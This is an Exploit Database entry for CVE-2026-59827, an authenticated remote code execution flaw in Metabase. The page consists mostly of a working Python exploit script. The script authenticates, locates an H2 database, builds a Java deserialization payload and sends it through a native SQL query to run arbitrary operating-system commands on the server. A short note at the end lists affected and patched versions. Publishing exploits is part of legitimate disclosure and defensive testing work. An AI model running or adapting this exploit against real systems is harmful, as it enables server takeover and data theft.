This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Metabase 0.61.0 - Authenticated Remote Code Execution EDB-ID: 52680 CVE: 2026-59827 EDB Verified: Author: GUTIERRE0X80 Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-09-03 Vulnerable App: # Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution # Date: 2026-08-12 # Exploit Author: Gutierre0x80 # Vendor Homepage: https://www.metabase.com/ # Software Link: https://github.com/metabase/metabase # Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4 # CVE: CVE-2026-59827 # # Advisory: # https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36 # # Description: # Metabase instances with an H2 database connection, including the default # sample database, deserialize arbitrary Java objects returned by native H2 # queries in result columns of type OTHER without validation. An authenticated # user with permission to execute native queries against an accessible H2 # database can exploit this behavior to execute arbitrary operating-system # commands on the Metabase server. # # Requirements: # - Valid Metabase credentials # - Permission to execute native database queries # - Access to an H2 database connection, including the default sample database # # Download: # git clone https://github.com/Gutierre0x80/CVE-2026-59827.git # cd CVE-2026-59827 # # Usage: # python3 exploit.py <target_url> <username> <password> <command> # # Example: # python3 exploit.py http://127.0.0.1:3000 admin@example.com 'Password123!' 'id' # # Repository: # https://github.com/Gutierre0x80/CVE-2026-59827 #!/usr/bin/env python3 """ Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL Affects: <= v0.61.1 (latest at time of disclosure) Usage: python3 exploit.py <url> <user> <password> <command> Example: python3 exploit.py http://127.0.0.1:3000 admin@admin.com Admin1234! "id" Required files (same directory as this script): clojure-1.12.3.jar VarChainPayload.class """ import os import sys import subprocess import requests HERE = os.path.dirname(os.path.realpath(__file__)) CLJ_JAR = os.path.join(HERE, "clojure-1.12.3.jar") CLASSPATH = f":{CLJ_JAR}:{HERE}" def die(msg): print(f"[-] {msg}", file=sys.stderr) sys.exit(1) def check_deps(): missing = [] # Check local files for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]: if not os.path.isfile(p): missing.append(os.path.basename(p)) if missing: die(f"Missing files in {HERE}: {missing}") # Check system binaries try: subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True) except (FileNotFoundError, subprocess.CalledProcessError): die("Java not found or not working. Install OpenJDK 11+ and add to PATH") try: import requests except ImportError: die("Python 'requests' library not found. Install with: pip install requests") def get_token(session, url, user, password): r = session.post(f"{url}/api/session", json={"username": user, "password": password}, timeout=15) r.raise_for_status() token = r.json().get("id") if not token: die(f"Authentication failed: {r.text[:200]}") return token def get_h2_db_id(session, url, token): r = session.get(f"{url}/api/database", headers={"X-Metabase-Session": token}, timeout=15) r.raise_for_status() data = r.json() dbs = data.get("data", data) if isinstance(data, dict) else data for db in dbs: if db.get("engine") == "h2": return db["id"], db["name"] die("No H2 database found in this Metabase instance.") def generate_payload(command): result = subprocess.run( ["java", "--add-opens", "java.base/java.util=ALL-UNNAMED", "-cp", CLASSPATH, "VarChainPayload", command], capture_output=True, text=True, timeout=30 ) payload = result.stdout.strip() if not payload: die(f"Payload generation failed:\n{result.stderr}") return payload def fire(session, url, token, db_id, payload_hex): sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)" r = session.post( f"{url}/api/dataset", headers={"X-Metabase-Session": token}, json={"database": db_id, "native": {"query": sql}, "type": "native"}, timeout=30 ) return r.json() def main(): if len(sys.argv) != 5: print(__doc__) sys.exit(1) _, url, user, password, command = sys.argv url = url.rstrip("/") check_deps() s = requests.Session() s.headers.update({"Content-Type": "application/json"}) print(f"[*] Target : {url}") print(f"[*] User : {user}") print(f"[*] Command : {command}") print() print("[*] Authenticating...") token = get_token(s, url, user, password) print(f"[+] Session : {token}") print("[*] Locating H2 database...") db_id, db_name = get_h2_db_id(s, url, token) print(f"[+] Database : {db_name} (id={db_id})") print("[*] Generating payload...") payload = generate_payload(command) print(f"[+] Payload : {len(payload) // 2} bytes") print("[*] Firing exploit...") result = fire(s, url, token, db_id, payload) error = str(result) ran_indicators = [ "ClassCastException", # normal: Process cast to Number "ProcessImpl", # process object leaked in error "NonTransientConnection", # H2 lock after exec triggered reconnect "JdbcSQLData", # deserialization error after exec ] if any(ind in error for ind in ran_indicators): print("[+] RCE executed — H2 error after deserialization confirms command ran") else: print(f"[?] Unexpected response (command may not have run): {error[:300]}") print() print("[*] Done. If the command writes output to a file, retrieve it separately.") if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
This critical vulnerability (CVE-2026-59827, CVSS 9.9) in Metabase allows authenticated users with native query permissions to execute arbitrary operating-system commands via Java deserialization in H2 database results. Affected versions are Metabase 0.58.0 through 0.58.14, 0.59.0 through 0.59.11, 0.60.0 through 0.60.6.2, and 0.61.0 through 0.61.1.3. The flaw is fixed in versions 0.58.15, 0.59.12, 0.60.6.3, and 0.61.1.4.